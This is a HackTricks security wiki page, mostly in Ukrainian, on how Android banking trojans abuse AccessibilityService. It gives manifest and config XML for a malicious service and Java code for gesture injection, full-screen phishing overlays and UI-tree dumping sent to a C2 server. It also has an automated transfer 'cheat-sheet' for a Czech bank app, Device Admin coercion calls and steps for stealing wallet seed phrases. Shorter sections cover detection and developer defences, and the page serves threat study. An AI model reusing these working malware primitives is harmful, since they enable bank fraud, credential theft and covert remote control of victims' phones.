Зловживання Android Accessibility Service

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks

Огляд

AccessibilityService було створено, щоб допомогти користувачам з інвалідністю взаємодіяти з пристроями Android. На жаль, ті самі потужні automation APIs (global navigation, text input, gesture dispatch, overlay windows…) можуть бути використані шкідливим ПЗ для отримання повного віддаленого контролю над телефоном без привілеїв root.

Сучасні Android banking Trojans та Remote-Access-Trojans (RATs) такі як PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda та багато інших дотримуються одного й того ж сценарію:

  1. Соціально-інженерити жертву, щоб вона увімкнула зловмисний accessibility service (the BIND_ACCESSIBILITY_SERVICE permission is considered "high-risk" and requires an explicit user action).
  2. Використати сервіс для
  • перехоплення кожної події UI та тексту, що з'являється на екрані,
  • ін'єкції синтетичних жестів (dispatchGesture) та глобальних дій (performGlobalAction) для автоматизації будь-яких дій, що потрібні оператору,
  • відображення повноекранних оверлеїв поверх легітимних додатків, використовуючи тип вікна TYPE_ACCESSIBILITY_OVERLAY (без prompt SYSTEM_ALERT_WINDOW!),
  • безшумного надання додаткових runtime permissions шляхом кліку по системних діалогах від імені жертви.
  1. Екфільтрації даних або виконання On-Device-Fraud (ODF) в реальному часі поки користувач дивиться на цілком нормальний екран.

Requesting the permission

xml
<!-- AndroidManifest.xml -->
<service
android:name="com.evil.rat.EvilService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
android:exported="false">

<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>

<meta-data android:name="android.accessibilityservice"
android:resource="@xml/evil_accessibility_config"/>
</service>

Супровідний XML визначає, як виглядатиме фальшиве діалогове вікно:

xml
<?xml version="1.0" encoding="utf-8"?>
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
android:description="@string/service_description"
android:accessibilityEventTypes="typeAllMask"
android:accessibilityFeedbackType="feedbackGeneric"
android:notificationTimeout="200"
android:canPerformGestures="true"
android:canRetrieveWindowContent="true"/>

Примітиви віддаленої автоматизації UI

java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}

// Simulate HOME / BACK / RECENTS …
private void navHome()     { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack()     { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }

// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}

Маючи лише ці два APIs, зловмисник може:

  • Розблокувати екран, відкрити банківський додаток, пройти його UI tree та відправити форму переказу.
  • Автоматично приймати всі діалоги дозволів, які з'являються.
  • Встановлювати/оновлювати додаткові APKs через Play Store intent.

Сценарії зловживань

1. Overlay Phishing (Credential Harvesting)

Прозорий або непрозорий WebView додається до window manager:

java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY,                      // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL,       // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);

Жертва вводить облікові дані у фальшиву форму, тоді як фоновий додаток отримує ті самі ж жести — ніколи не з’являється підозрілий "draw over other apps" prompt.

Детальний приклад: секція Accessibility Overlay Phishing всередині сторінки Tapjacking.

2. Автоматизація шахрайства на пристрої

Сімейства malware, такі як PlayPraetor, підтримують постійний канал WebSocket, де оператор може надсилати високорівневі команди (init, update, alert_arr, report_list, …). Сервіс перетворює ці команди на низькорівневі жести, описані вище, досягаючи в реальному часі несанкціонованих транзакцій, які легко обходять multi-factor-authentication, прив’язану до цього пристрою.

3. Трансляція екрана та моніторинг

Поєднуючи MediaProjection API з RTMP клієнтською бібліотекою, RAT може транслювати live framebuffer на rtmp://<c2>:1935/live/<device_id>, забезпечуючи противникові повну ситуаційну обізнаність, поки Accessibility engine керує UI.


PlayPraetor – command & control workflow

  1. HTTP(S) heartbeat – перебирає жорстко вбудований список, поки один домен не відповість POST /app/searchPackageName з активним C2.
  2. WebSocket (port 8282) – двонаправлені JSON-команди:
  • update – push new conf/APKs
  • alert_arr – configure overlay templates
  • report_list – send list of targeted package names
  • heartbeat_web – keep-alive
  1. RTMP (port 1935) – live screen/video streaming.
  2. REST exfiltration
  • /app/saveDevice (fingerprint)
  • /app/saveContacts | /app/saveSms | /app/uploadImageBase64
  • /app/saveCardPwd (bank creds)

The AccessibilityService is the local engine that turns those cloud commands into physical interactions.


Виявлення шкідливих accessibility services

  • adb shell settings get secure enabled_accessibility_services
  • Settings → Accessibility → Downloaded services – шукайте додатки, які не з Google Play.
  • MDM / EMM solutions can enforce ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY (Android 13+) to block sideloaded services.
  • Analyse running services:
bash
adb shell dumpsys accessibility | grep "Accessibility Service"

Рекомендації щодо захисту для розробників додатків

  • Позначайте чутливі view атрибутом android:accessibilityDataSensitive="accessibilityDataPrivateYes" (API 34+).
  • Combine setFilterTouchesWhenObscured(true) with FLAG_SECURE щоб запобігти перехопленню натискань/оверлеїв.
  • Detect overlays by polling WindowManager.getDefaultDisplay().getFlags() or the ViewRootImpl API.
  • Refuse to operate when Settings.canDrawOverlays() or a non-trusted Accessibility service is active.

ATS automation cheat-sheet (Accessibility-driven)

Malware can fully automate a bank app with only Accessibility APIs. Generic primitives:

java
// Helpers inside your AccessibilityService
private List<AccessibilityNodeInfo> byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}

Приклад потоку (чеські → англійські мітки):

  • "Nová platba" (Нова оплата) → натиснути
  • "Zadat platbu" (Ввести платіж) → натиснути
  • "Nový příjemce" (Новий отримувач) → натиснути
  • "Domácí číslo účtu" (Номер внутрішнього рахунку) → перейти в поле і ACTION_SET_TEXT
  • "Další" (Далі) → натиснути → … "Zaplatit" (Сплатити) → натиснути → ввести PIN

Fallback: жорстко задані координати з dispatchGesture, коли пошук по тексту не вдається через кастомні віджети.

Також спостерігалося: попередні кроки до check_limit та limit шляхом переходу до інтерфейсу лімітів і збільшення денних лімітів перед переказом.

Текстова псевдо-трансляція екрана

Для керування з низькою затримкою, замість повного відеострімінгу, вивантажуйте текстове представлення поточного дерева UI і повторно надсилайте його на C2.

java
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+"  ", sb);
}

Це основа для команд, таких як txt_screen (одноразово) та screen_live (безперервно).

Примітиви примусу Device Admin

Після активації Device Admin receiver ці виклики збільшують можливості перехоплення облікових даних та утримання контролю:

java
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
ComponentName admin = new ComponentName(this, AdminReceiver.class);

// 1) Immediate lock
dpm.lockNow();

// 2) Force credential change (expire current PIN/password)
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android

// 3) Disable biometric unlock to force PIN/pattern entry
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
dpm.setKeyguardDisabledFeatures(admin, flags);

Примітка: точна доступність цих політик залежить від версії Android та OEM; під час тестування перевіряйте роль політики пристрою (admin vs owner).

Шаблони витягання seed-фраз криптогаманців

Спостережувані потоки для MetaMask, Trust Wallet, Blockchain.com і Phantom:

  • Розблокування за вкраденим PIN (captured via overlay/Accessibility) або з наданим паролем гаманця.
  • Перейдіть: Settings → Security/Recovery → Reveal/Show recovery phrase.
  • Збирають фразу за допомогою кейлогінгу текстових вузлів, обходу secure-screen або OCR зі скриншота, коли текст приховано.
  • Підтримка кількох локалей (EN/RU/CZ/SK) для стабілізації селекторів – віддавайте перевагу viewIdResourceName коли він доступний, у протилежному випадку використовувати багатомовне порівняння тексту.

NFC-relay orchestration

Модулі Accessibility/RAT можуть встановити та запустити спеціальний NFC-relay додаток (e.g., NFSkate) як третю стадію і навіть інжектувати overlay-посібник, щоб супроводжувати жертву через кроки relay за наявності картки.

Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay


References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks